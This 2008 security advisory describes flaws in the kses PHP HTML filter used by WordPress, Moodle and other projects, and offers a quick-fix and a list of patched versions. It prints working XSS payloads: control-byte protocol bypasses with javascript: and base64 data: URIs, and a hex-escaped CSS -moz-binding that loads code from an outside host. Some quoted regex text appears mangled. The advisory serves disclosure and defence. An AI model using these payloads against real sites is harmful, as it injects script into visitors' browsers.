Vulnerabilities in kses-based HTML filters

Type securityvulns
Reporter Securityvulns
Modified 2008-04-03T00:00:00


Vulnerabilities in kses-based HTML filters

During internal code review performed by, some weaknesses were discovered in kses - PHP HTML/XHTML filter. HTML filters using or based on kses are part of many popular projects, including WordPress, Moodle, Drupal, eGroupWare, Dokeos, PHP-Nuke, Geeklog and others. Issues found range from cross-site scripting to code execution, depending on implementation.

Kses filters HTML by whitelisting allowed tags, attributes, and protocols in attribute values. Additionally, it normalizes HTML entities and performs a few blacklist checks. This approach makes it much more reliable as a defence against XSS than a typical blacklist filter. Kses is no longer mantained since 2005, and multiple projects that use it developed their own versions. In most cases, these implementations share the same vulnerabilites.

Quote from kses code: function kses_bad_protocol_once($string, $allowed_protocols)

This function searches for URL protocols at the beginning of $string, while

handling whitespace and HTML entities.

{ return preg_replace('/^((&[^;];|[\sA-Za-z0-9]))'. '(:|:|&#[Xx]3[Aa];)\s*/e', 'kses_bad_protocol_once2("\\1", $allowed_protocols)', $string); } # function kses_bad_protocol_once

  1. PHP code execution This vulnerability is caused by unsafe preg_replace() with "e" modifier and backreference between double quotes. It's exploitable if kses attribute cleaning functions are called without previous entities normalization. This is not a standard way of using kses, but such implementations exist in widely deployed software. Example: --- stripped ---

  2. Cross site scripting - protocol checks bypass This vulnerability is caused by insufficient protocol checks in attribute values. By injecting byte 08 (Firefox) or 0B (Opera) at the beginning of attribute value, it is possible to bypass kses_bad_protocol_once2() call. Examples (partially urlencoded for readability): (Opera) <img src="%0Bjavascript:alert(document.domain)"> (Firefox) <a href='%08data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2B'>test</a>

  3. Cross site scripting - allowed attributes In some implementations, style attribute is allowed. As kses is not designed to deal with XSS inside CSS, such configurations are vulnerable, unless additional checks are added. In reality, code added for cleaning CSS usually does not solve this problem in sufficient degree. Example: (Firefox) <a style=" ;\2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67: \75\72\6c(\68\74\74\70\3a\2F\2F\68\61\2E\63\6B\65\72\73\2E\6F\72\67\2F\78\73\73\6D\6F\7A\2E\78\6D\6C\23\78\73\73)" href="">test</a>


Sample quick-fix for 1 and (assuming previous entities normalization) 2: function kses_bad_protocol_once($string, $allowed_protocols)

This function searches for URL protocols at the beginning of $string, while

handling whitespace and HTML entities.

{ $string2 = preg_split('/:|:|:/i', $string, 2); if(isset($string2[1]) && !preg_match('%/\?%',$string2[0])) { $string = kses_bad_protocol_once2($string2[0],$allowed_protocols) .trim($string2[1]); } return $string; } # function kses_bad_protocol_once

Another option would be to change HTML filter and use some actively supported library. There are two such filters with kses compatibility mode: - HTML Purifier, basic kses compatibility wrapper available at - htmLawed,

HTML Purifier has an advantage of proper CSS validation and secure default settings, so it's a preferred solution.

Fixed software

Dokeos 1.8.4 SP3, eGroupWare 1.4.003, WordPress 2.5, Moodle 1.9,

Regards, Lukasz Pilorz,